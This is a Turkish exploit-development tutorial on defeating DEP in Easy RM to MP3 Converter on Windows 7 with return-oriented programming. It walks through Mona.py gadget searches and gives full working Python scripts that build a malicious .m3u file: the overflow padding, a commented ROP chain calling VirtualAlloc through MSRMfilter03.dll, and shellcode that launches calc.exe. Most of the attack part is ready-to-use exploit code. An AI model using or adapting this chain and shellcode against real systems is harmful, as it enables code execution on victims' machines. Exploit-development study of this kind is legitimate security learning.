Windows 7 Ortamında Easy RM to MP3 Converter Uygulamasının Dönüş Yönelimli Programlama ile İstismar Edilmesi

Bir önceki çalışmamızda, Easy RM to MP3 Converter programını istismar etmiştik. Programın her defasında farklı bir bellek adresinde gelmesini sağlayan Address Space Layout Randomization (ASLR) koruma mekanizmasını, buna tabi olmayan ve hareket etmeyen bir kütüphane modülü seçerek aştık. Ancak istismar kodumuzun çalışmasını engelleyen Veri Yürütme Engellemesi (Data Execution Prevention – DEP) mekanizmasını, Windows üzerinde elimizle kapattık ve etkisiz hale getirdik.

Şimdi yönetici yetkisiyle aşağıdaki komutu çalıştırın ve bilgisayarınızı kapatıp yeniden başlatın.

bcdedit.exe /set {current} nx AlwaysOn

Bilgisayarınız açıldıktan sonra, attack2.m3u isimli istismar içeren dosyamızı yeniden yükleyin.

Easy RM to MP3 Converter

Ancak bu defa calc.exe yani hesap makinesi gelmedi. DEP, istismar kodumuzun çalışmasına mani oldu.

Peki, işletim sistemi bizim kod çalıştırmamızı engelliyorsa yapabileceğimiz hiçbir şey kalmıyor mu? Var, cevabı Return Oriented Programming yani Dönüş Yönelimli Programlama. Ana fikir, istismar kodunu, programın ya da sistemin bizzat kendi içindeki Assembly kod parçacıklarının adreslerini birleştirerek oluşturma. Her bir böylesi Assembly kod parçacığı (Assembly gadget), ESP’ye dönüş sağlamak için bir Ret yönergesiyle sonlanmaktadır. Bu nedenle yöntemin adına da Dönüş Yönelimli Programlama denilmektedir. Bu yöntem, yapboz parçalarını anlamlı bir resim oluşturacak şekilde bir araya getirmeye benzemektedir. Ancak sizi uyarmalıyım, bu cidden oldukça zor bir işlemdir.

Şimdiki örneğimizde, amacımız Assembly yönergeleriyle VirtualAlloc fonksiyonunu çağırmak olacak. Bu fonksiyon, sanal bellekte yazdırılabilir alan yarattığından, bizim istismar kodumuzu çalıştırmamız için uygun bir alan açacaktır. Öncelikle bu fonksiyonun hangi parametreleri içerdiğini ve bu esnadaki register görünümünün ne olduğunu anlamamız gerekiyor.

VirtualAlloc fonksiyonu için MSDN tanımına baktığımızda:


Structure:                               Parameters:
 
LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
  _In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
  _In_      SIZE_T dwSize,           =>    dwSize (0x1)
  _In_      DWORD flAllocationType,  =>    flAllocationType (0x1000)
  _In_      DWORD flProtect          =>    flProtect (0x40)
);

Bu parametreleri sağlayan register görünümü ise şöyle olmalıdır:

EAX 90909090 => Nop ECX 00000040 => flProtect EDX 00001000 => flAllocationType EBX 00000001 => dwSize ESP ???????? => Leave as is EBP ???????? => Call to ESP (jmp, call, push,..) ESI ???????? => PTR to VirtualAlloc – DWORD PTR of 0x1001b059 EDI 1001b059 => ROP-Nop same as EIP

Registerlarda bu görünümü elde ettikten ve nihayet PUSHAD yönergesini (genel amaçlı registerların tamamını push edip iteler) çağırdıktan sonra, VirtualAlloc fonksiyon çağırmasını taklit edebiliriz.

ROP’nRoll Zamanı

En iyi öğrenme şekli doğrudan işe koyulmak. Öncelikle kurban programımızın tam olarak nerede çöktüğünü hatırlayalım ve interrupt kesme yönegesini nasıl çağırdığımızı hatırlayalım:


#!/usr/bin/python
 
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x59\xb0\x01\x10' #note that I directly addressed ret of push esp + ret instruction set.
offsetFFFF = 'FFFF'
nopsled = '\x90' * 16
int3 = '\xCC'
padding = 'F' * (30000 - len(prefix) - 4 -4 -16 -1)
attack = prefix + eip + offsetFFFF+ nopsled + int3 + padding
print attack

Aşağıdaki komutlarla girdi dosyalarını hazırlayıp Windows ortamına aktaralım:

chmod a+x attack1

./attack1 > attack1.m3u

cp attack1.m3u ~/Desktop

Şimdi, Immunity Debugger ile Easy RM to MP3 Converter programını açın ve çalıştır butonuna tıklayın. Ardından Immunity Debugger metin kutusuna “u 0x1001b059” değerini girin, enter tuşuna basın, bu adresin üzerine tıklayarak seçin ve F2 butonuna basarak bu noktaya kırılma noktası (breakpoint) verin.

Immunity Debugger

Şimdi, attack1.m3u dosyasını yükleyin, programın breakpoint adresinde durduğunu göreceksiniz. Şimdi F8 tuşuna basarak adım adım ilerleyin, ta ki INT3 kesmesine varana kadar. Yaptığımız bu işlem, ROP zincirini oluşturma işleminde çok ihtiyaç duyacağınız bir yetenektir.

Şimdi Immunity Debugger programını yönetici yetkisiyle yeniden çalıştırın, breakpoint değerini aynı şekilde tekrar girin ve attack1.m3u dosyasını yeniden yükleyin. Program breakpoint adresinde durduğunda, Immunity Debugger metin kutusuna bu defa aşağıdaki komutu girin (bu komutun çalışması için Mona.py eklentisini kurmuş olmanız gerektiğini önceki çalışmamızda anlatmıştık.):

!mona modules

Sonucu incelediğimizde, hareket etmeyen tek modülün MSRMfilter03.dll olduğunu hatırlayacaksınız.

Mona Modules

Artık aşağıdaki komutla Mona.py komutunun gücünü devreye sokabiliriz:

!mona ropfunc -m MSRMfilter03.dll -cpb ‘\x00\x09\x0a’

Mona Rop functions

Bu komut, oluşturduğu log dosyasında, kullanılabilecek olası ROP fonksiyon önerilerini sunmaktadır. Biz VirtualAlloc fonksiyonunu kullanmaya karar vermiştik. Bu fonksiyonun adresinin 0x10032078 olduğunu öğrendik.

Ardık son aşama, Mona’nın seçtiğimiz kütüphanede, bizim için ROP-Gadget listesini yani RET ile biten kısa Assembly yönerge dizin listesini oluşturmasını sağlamak olacaktır:

!mona rop -m MSRMfilter03.dll -cpb ‘\x00\x09\x0a’

Mona Rop

Mona ihtiyaç duyacağımız tüm ROP yönerge dizinlerini “~\Belgeler\Logs\RM2MP3Converter\” klasöründeki özellikle rop.txt isimli dosyada oluşturdu. Artık ihtiyaç duyduğumuz tüm yapboz parçalarına sahibiz. Şimdi bu parçaları amaçladığımız register görünümüne ulaşacak şekilde birleştirmeye geldi.

Bu noktada artık, istismar kodunun tamamını birden vermek istiyorum. Kodun kendisi açıklama notlarını içermekte. Lütfen kullandığım yöntemleri anlamaya çalışın, çünkü büyük bir olasılıkla kendi makinenizin platformuna uygun olarak bu parçaları uygun şekilde kendiniz yeniden birleştirmek ve güncellemek durumunda olacaksınız.

gedit buildrop



#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct,sys
 
# Hedef Register: EDI => ROP-Nop
# EDI'ye RET yönerge adresini ata
#*******************************************************************
rop = struct.pack('<L',0x1001c05e) # POP EDI # RETN
rop += struct.pack('<L',0x1001b059) # ROP-Nop
 
#Hedef Register: EDX -> 0x1000
#Öncelikle EDX'e sabit bir değer (C483FFFE) ata, ardından
#EBX'e uygun bir değer (3b7c1002) ata, öyle ki
#ADD işleminin ardından toplam 0x1000 değerine ulaşsın
#*******************************************************************
rop += struct.pack('<L',0x1001d4c3) # MOV EDX,C483FFFE # OR AL,5F # POP ESI # POP EBP # OR EAX,FFFFFFFF # POP EBX # RETN
rop += struct.pack('<L',0x1001b059) # padding for POP ESI
rop += struct.pack('<L',0x1001b059) # padding for POP EBP
rop += struct.pack('<L',0x3b7c1002) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10024ece) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
 
#Hedef Register: ESI -> VirtualAlloc
#VirtualAlloc fonksiyonunun 0x10032078 adresi tarafından gösterildiğini biliyoruz
#Ancak bu gösterge tarafından belirtilen konumun gerçek DWORD değerine ihtiyacımız var
#Öncelikle VirtualAlloc gösterge değerini EAX'a atıyoruz
#Ardından bu göstergenin konumladığı adresteki veriyi, yine EAX'a yüklüyoruz
#Nihayet EAX'taki bu değeri yığına push edip, pop ile ESI'ye atanmasını sağlıyoruz
#*******************************************************************
rop += struct.pack('<L',0x1002a21d) # POP EAX # RETN
rop += struct.pack('<L',0x10032078) # kernel32.virtualalloc
rop += struct.pack('<L',0x1002e0c8) # MOV EAX,DWORD PTR DS:[EAX] # RETN
 
rop += struct.pack('<L',0x1001a788) # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
 
#Hedef Register: ECX -> 0x40
#Öncelikle ECX'e 0xffffffff değerini ata (bu -1 değerini temsil etmektedir)
#Ardından bu değeri döngü ile 65 defa artırarak 0x40 değerine ulaş
#Farkındayım, biraz amele bir yöntem ama çalışan bir yöntem
#*******************************************************************
rop += struct.pack('<L',0x100308be) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
for x in range(65):
rop += struct.pack('<L',0x1002dd3e) # INC ECX # AND EAX,8 # RETN
 
#Target Register: EBP ->; Redirect Execution flow to ESP
#Pop into EBP register the address of JMP ESP
#In other words PUSH ESP # RETN
#*******************************************************************
rop += struct.pack('<L',0x1002821b) # POP EBP # RETN
rop += struct.pack('<L',0X1001B058) # CALL ESP
 
#Hedef Register: EBX -> 0x1
#Öncelikle EBX' 0xffffffff değerini ata
#Ardından bu değeri iki defa artırarak 0x1 değerine ulaş
#*******************************************************************
rop += struct.pack('<L',0x10021558) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x1002d993) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x1002d993) # INC EBX # FPATAN # RETN
 
#Target Register: EAX -> Fill with a regular NOP
#*******************************************************************
rop += struct.pack('<L',0x1002a21d) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # Rop-Nop to compensate
 
#PUSH ALL ile tüm genel amaçlı registerları stack yığınına itele
#Bu aşama biraz karmaşıktı, Mona herhangi bir PUSHAD + RET yönergesi önermedi
#Önerdikleri ise bellekte Adres Erişim Hatası vermekteydi
#Kendim el ile uygun bir PUSHAD yönergesi tespit etmek zorundaydım
#Immunity Debugger'da adımlarken, fareye sağ tıkladım ve aşağıdaki komutları seçtim
#Search For -> Command  (Ara -> Komut)
#Komut olarak PUSHAD seçtim ve nihayet başarılı bir şekilde çalışan bir PUSHAD dizini buldum
#*******************************************************************
rop += struct.pack('<L',0x100184F0) # PUSHAD # JNB SHORT # JMP AH,30 # JB SHORT # CMP AH,60 # JNB SHORT # MOV EAX,1 # RETN
 
 
sh = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x59\xb0\x01\x10'
offsetFFFF = 'F' * 4
nopsled = '\x90' * 16
padding = 'F' * (30000 - len(prefix) - 4 - 4 - 16 - len(rop) - len(sh))
attack = prefix + eip + offsetFFFF + rop + nopsled + sh + padding
print attack


Immunity Debugger

Son durumda, PUSHAD çağrısını yapmadan hemen önce, hedeflediğimiz register görünümüne ulaştık.

Şimdi artık girdi dosyamızı hazırlayıp Easy RM to MP3 Converter ile yüklediğimizde, istismar kodumuzun DEP mekanizması açık olmasına rağmen çalıştığını görebiliriz.

chmod a+x buildrop

./buildrop > buildrop.m3u

cp buildrop.m3u ~/Desktop

Exploit Running

Kaynaklar:

1) ROP ile ilgilenen herkese corelanc0d3r tarafından hazırlanan örnekleri çalışmalarını öneririm ki kendisi aynı zamanda Mona.py eklentisinin ardındaki beyindir.

2) http://www.fuzzysecurity.com/tutorials/expDev/7.html

3) http://users.suse.com/~krahmer/no-nx.pdf